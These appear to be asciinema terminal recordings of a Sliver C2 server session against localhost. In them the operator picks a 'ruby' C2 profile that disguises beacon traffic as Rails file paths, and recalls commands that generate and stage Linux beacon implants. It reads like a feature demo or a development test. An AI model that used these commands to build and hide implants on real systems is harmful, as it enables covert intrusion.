[18.342078, "o", "s78\b\b"]
|
||||
[18.371445, "o", "k78\b\b"]
|
||||
[18.38078, "o", "j78\b\b"]
|
||||
[18.411096, "o", "d78\b\b"]
|
||||
[18.424821, "o", "f78\b\b"]
|
||||
[18.438786, "o", "h78\b\b"]
|
||||
[18.561807, "o", "a78\b\b"]
|
||||
[18.589191, "o", "s78\b\b"]
|
||||
[18.610773, "o", "dl78\b\b"]
|
||||
[18.626257, "o", "k78\b\b"]
|
||||
[18.639979, "o", "j78\b\b"]
|
||||
[18.719362, "o", "fh78\b\b"]
|
||||
[20.067454, "o", "\r\n"]
|
||||
[20.06889, "o", "\u001b[?2004l\r"]
|
||||
[20.165016, "o", "Warning: "]
|
||||
[20.165474, "o", "Binary output can mess up your terminal. Use \"--output -\" to tell \r\nWarning: curl to output it to your terminal anyway, or consider \"--output \r\nWarning: <FILE>\" to save to a file.\r\n"]
|
||||
[20.17545, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[20.925236, "o", "curl http://localhost/hello.yml?z=197alskjdfhasdlkjfh78"]
|
||||
[21.365164, "o", "\b"]
|
||||
[21.563292, "o", "\b"]
|
||||
[21.742197, "o", "\b"]
|
||||
[21.966154, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.471279, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.552271, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.631786, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.721099, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.807704, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.887112, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[22.968836, "o", "\u001b[1P78\b\b\b"]
|
||||
[23.053591, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[23.133644, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[23.221294, "o", "\b\u001b[1Ph78\b\b\b"]
|
||||
[23.627041, "o", "1h78\b\b\b"]
|
||||
[24.335876, "o", "\r\n\u001b[?2004l\r"]
|
||||
[24.441387, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[27.241376, "o", "\u001b[?2004l\r\r\nexit\r\n"]
|
||||
@@ -0,0 +1,444 @@
|
||||
{"version": 2, "width": 272, "height": 61, "timestamp": 1714659822, "env": {"SHELL": null, "TERM": "xterm"}}
|
||||
[0.033615, "o", "# "]
|
||||
[0.925283, "o", "."]
|
||||
[0.997573, "o", "/"]
|
||||
[1.322976, "o", "s"]
|
||||
[1.430115, "o", "l"]
|
||||
[1.49078, "o", "i"]
|
||||
[1.590158, "o", "v"]
|
||||
[1.775311, "o", "e"]
|
||||
[1.85991, "o", "r"]
|
||||
[2.003223, "o", "-"]
|
||||
[2.15495, "o", "s"]
|
||||
[2.196149, "o", "e"]
|
||||
[2.240459, "o", "r"]
|
||||
[2.481721, "o", "v"]
|
||||
[2.727644, "o", "e"]
|
||||
[2.808119, "o", "r"]
|
||||
[2.870105, "o", "\r\n"]
|
||||
[4.110367, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain hexproof\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - ba3893980d1ca5e4ae4089eb4c87e9f5ba389119 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[4.116183, "o", "\r\n"]
|
||||
[4.141337, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.143218, "o", "\u001b[1 q"]
|
||||
[4.145126, "o", "\u001b[?25l"]
|
||||
[4.145936, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[4.146639, "o", "\u001b[6n"]
|
||||
[4.149524, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[4.149671, "o", "\r\r\n"]
|
||||
[4.150924, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[4.706023, "o", "\u001b[?25l"]
|
||||
[4.707226, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.722955, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
|
||||
[4.961107, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[4.969484, "o", "c2\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
|
||||
[5.225685, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.231229, "o", "\u001b[6n"]
|
||||
[5.239478, "o", "c2p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[5.240938, "o", "\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
|
||||
[5.327491, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.329618, "o", "\u001b[6n"]
|
||||
[5.340357, "o", "c2pr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[5.341538, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
|
||||
[5.429764, "o", "\u001b[?25l"]
|
||||
[5.43574, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.445255, "o", "c2pro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[14D"]
|
||||
[5.446151, "o", "\u001b[9C\u001b[272D\u001b[14C\u001b[?25h"]
|
||||
[5.571787, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.573494, "o", "\u001b[6n"]
|
||||
[5.581764, "o", "c2prof\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[15D\u001b[9C\u001b[272D"]
|
||||
[5.582092, "o", "\u001b[15C\u001b[?25h"]
|
||||
[5.635235, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.646082, "o", "c2profi\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.646451, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[16D\u001b[9C\u001b[272D\u001b[16C\u001b[?25h"]
|
||||
[5.719502, "o", "\u001b[?25l\u001b[272D"]
|
||||
[5.723659, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.732539, "o", "c2profil\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[5.732861, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[17D\u001b[9C\u001b[272D\u001b[17C\u001b[?25h"]
|
||||
[5.791973, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.792431, "o", "\u001b[6n"]
|
||||
[5.797553, "o", "c2profile\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[18D\u001b[9C\u001b[272D\u001b[18C\u001b[?25h"]
|
||||
[5.834381, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[5.837028, "o", "\u001b[6n"]
|
||||
[5.843722, "o", "\u001b[1m\u001b[32mc2profiles\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[5.845123, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[19D\u001b[9C\u001b[272D\u001b[19C\u001b[?25h"]
|
||||
[6.190803, "o", "\u001b[19D\u001b[9C\u001b[6n"]
|
||||
[6.208027, "o", "\u001b[272D\u001b[19C"]
|
||||
[6.20841, "o", "\u001b[0J\u001b[272D\r\r\n"]
|
||||
[6.212255, "o", "\u001b[0 q\r\n"]
|
||||
[6.24707, "o", "\u001b7\u001b[?25l"]
|
||||
[6.247424, "o", "\u001b8"]
|
||||
[6.248805, "o", "\u001b[0G\u001b[2K"]
|
||||
[6.261755, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> default\u001b[0m\r\n\u001b[0;39m ruby\u001b[0m\r\n\u001b7"]
|
||||
[6.265079, "o", "\u001b[1A"]
|
||||
[6.265183, "o", "\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[7.125742, "o", "\u001b8"]
|
||||
[7.129658, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[7.136912, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m default\u001b[0m\r\n\u001b[0;1;36m> ruby\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G"]
|
||||
[7.571889, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[7.57592, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a c2 profile\u001b[0m\u001b[0;36m ruby\u001b[0m\r\n"]
|
||||
[7.628199, "o", " Parameter Value \r\n============================== =============================================================================================================================================================="]
|
||||
[7.628402, "o", "====================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================\r\n Profile Name ruby "]
|
||||
[7.628443, "o", " \r\n Server Headers "]
|
||||
[7.629027, "o", " \r\n Server Cookies _session_id "]
|
||||
[7.629257, "o", " \r\n Randomize Server Headers false \r\n Client Headers "]
|
||||
[7.630761, "o", " \r\n Extra URL Parameters "]
|
||||
[7.630871, "o", " \r\n User agent "]
|
||||
[7.63098, "o", " \r\n Chrome base version 106 "]
|
||||
[7.631025, "o", " \r\n MacOS version 10_15_7 \r\n Nonce query arg chars "]
|
||||
[7.631078, "o", " abcdefghijklmnopqrstuvwxyz \r\n Max files 4 "]
|
||||
[7.63121, "o", " \r\n Min files 2 "]
|
||||
[7.631637, "o", " \r\n Max paths 4 "]
|
||||
[7.631818, "o", " \r\n Min paths 2 "]
|
||||
[7.63188, "o", " \r\n Stager file extension yml \r\n Start session file extension cgi "]
|
||||
[7.631916, "o", " \r\n Session file extension erb "]
|
||||
[7.631976, "o", " \r\n Poll file extension rdoc "]
|
||||
[7.633173, "o", " \r\n Close file extension ico "]
|
||||
[7.633834, "o", " \r\n Poll paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit "]
|
||||
[7.633917, "o", " \r\n Poll files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controller,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,development,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,databas"]
|
||||
[7.633958, "o", "e-example \r\n Session paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit \r\n Session files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controll"]
|
||||
[7.634, "o", "er,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,development,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,database-example \r\n Close paths public,layouts,assets,views,log,stylesheets,vendor,rails,fixtures,app,process,home,lib,plugins,mailers,posts,tasks,db,cache,environments,doc,javascripts,test,controllers,initializers,images,info,script,config,user,performance,tmp,functional,integration,helpers,locales,models,1,unit "]
|
||||
[7.634036, "o", " \r\n Close files yetting,assets,stylesheets,webpacker-example,cable,sidekiq,jquery,422,prototype,browsing_test,mailers,sign_in,secret_token,secrets,admin_controller,javascripts,sidekiq-example,test,info,storage,request,benchmarker,edit,locales,profiler,inflections,runner,fixtures,500,process,application_helper,database,generate,new,boot,vue,environments,application,initializers,session_store,404,server,spawner,graphql,robots,functional,models,index,unit,mongoid,production,home,console,puma,reaper,tasks,application_controller,developme"]
|
||||
[7.634081, "o", "nt,plugin,seeds,wrap_parameters,spring,controllers,environment,performance,routes,en,integration,inspector,test_helper,about,deploy,rails,mime_types,backtrace_silencers,mongoid-example,plugins,dbconsole,webpacker,cache,destroy,favicon,properties,README_FOR_APP,database-example \r\n\r\n\r\n\r\n"]
|
||||
[7.640853, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.640936, "o", "\u001b[1 q"]
|
||||
[7.641667, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.643724, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.644093, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[10.007822, "o", "\u001b[1 q"]
|
||||
[10.015416, "o", "\u001b[?25l"]
|
||||
[10.016592, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.026336, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.028667, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1m\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[10.032364, "o", "\u001b[0K\u001b[m\u001b[2m313 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m312 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m311 \u001b[22muse\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m309 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m308 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m306 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m305 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m304 \u001b"]
|
||||
[10.033676, "o", "[22mjobs\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m303 \u001b[22mc2profiles import -f default_c2profile -n ruby -o\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m302 \u001b[22mc2profiles import -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m301 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m300 \u001b[22mc2profiles export -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m299 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m298 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m297 \u001b[22mc2profiles export -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m296 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m295 \u001b[22mexit\u001b[0m "]
|
||||
[10.033871, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m294 \u001b[22mexot\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m293 \u001b[22mc2profiles export -n default -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m292 \u001b[22mc2profiles export -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m291 \u001b[22mexit\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m290 \u001b[22mc2profiles import -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m289 \u001b[22mc2profiles -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m288 \u001b[22mc2profiles\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m287 \u001b[22mls\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m286 \u001b[22mexit\u001b[0m "]
|
||||
[10.033979, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m285 \u001b[22mc2profiles import -n ruby -f default_c2profile\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
|
||||
[10.459758, "o", "\u001b[?25l"]
|
||||
[10.463043, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.473783, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.474247, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mg\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[10.479025, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mg\u001b[0m\u001b[menerate beacon -b localhost --skip-symbols --debu\u001b[48;05;244mg\u001b[0m\u001b[m --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m253 \u001b[22mimplants rm CONTINUIN\u001b[48;05;244mG\u001b[0m\u001b[m_DOWNTOWN\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m247 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m245 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me linuxImplant -c deflate9\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m244 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m "]
|
||||
[10.480261, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m242 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m240 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -c zlib linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m239 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m235 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -c zlib\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m234 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m "]
|
||||
[10.481672, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m232 \u001b[22mprofiles sta\u001b[48;05;244mg\u001b[0m\u001b[me -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m228 \u001b[22mprofiles new beacon -b localhost --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --os linux linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m227 \u001b[22mprofiles new beacon -b localhost --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m221 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m219 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m "]
|
||||
[10.483017, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m217 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m210 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m207 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m204 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m203 \u001b[22mimplants sta\u001b[48;05;244mg\u001b[0m\u001b[me\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m200 \u001b[22mprofiles new beacon -b localhost --os linux --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --c2profile default implant2\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m194 \u001b[22mprofiles \u001b[48;05;244mg\u001b[0m\u001b[menerate implant1\u001b[0m "]
|
||||
[10.483901, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m192 \u001b[22mprofiles new -b localhost --os linux --debu\u001b[48;05;244mg\u001b[0m\u001b[m --skip-symbols --c2profile default implant1\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[2m\u001b[33m 2 more completion rows... (scroll down to show)\u001b[0m\u001b[0J\u001b[272D\u001b[29A\u001b[1A\u001b[1A\u001b[88D\u001b[9C\u001b[272D\u001b[88C\u001b[?25h"]
|
||||
[10.628701, "o", "\u001b[?25l\u001b[272D"]
|
||||
[10.630492, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[10.643229, "o", "\u001b[1m\u001b[32mgenerate \u001b[39m\u001b[22mbeacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[10.643626, "o", "\u001b[1m\u001b[36mserver history (inc-search): \u001b[0m\u001b[1mge\u001b[0m_\u001b[0K\r\r\n\u001b[0K\u001b[0m"]
|
||||
[10.647217, "o", "\u001b[0K\u001b[48;05;255m\u001b[1;30m\u001b[2m310 \u001b[22mgenerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m307 \u001b[22m\u001b[48;05;244mge\u001b[0m\u001b[mnerate beacon -b localhost --skip-symbols --debug --c2profile ruby --os linux\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m258 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m247 \u001b[22mimplants sta\u001b[48;05;244mge\u001b[0m\u001b[m\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m245 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m linuxImplant -c deflate9\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m244 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m242 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m240 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -c zlib linuxImplant\u001b[0m "]
|
||||
[10.649035, "o", " \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m239 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m238 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m236 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m235 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -c zlib\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m234 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m232 \u001b[22mprofiles sta\u001b[48;05;244mge\u001b[0m\u001b[m -h\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m231 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate linuxImplant\u001b[0m \u001b[0m\u001b[0K\r\r\n\u001b[m\u001b[2m224 \u001b[22mprofiles \u001b[48;05;244mge\u001b[0m\u001b[mnerate -h\u001b[0m "]
|
||||
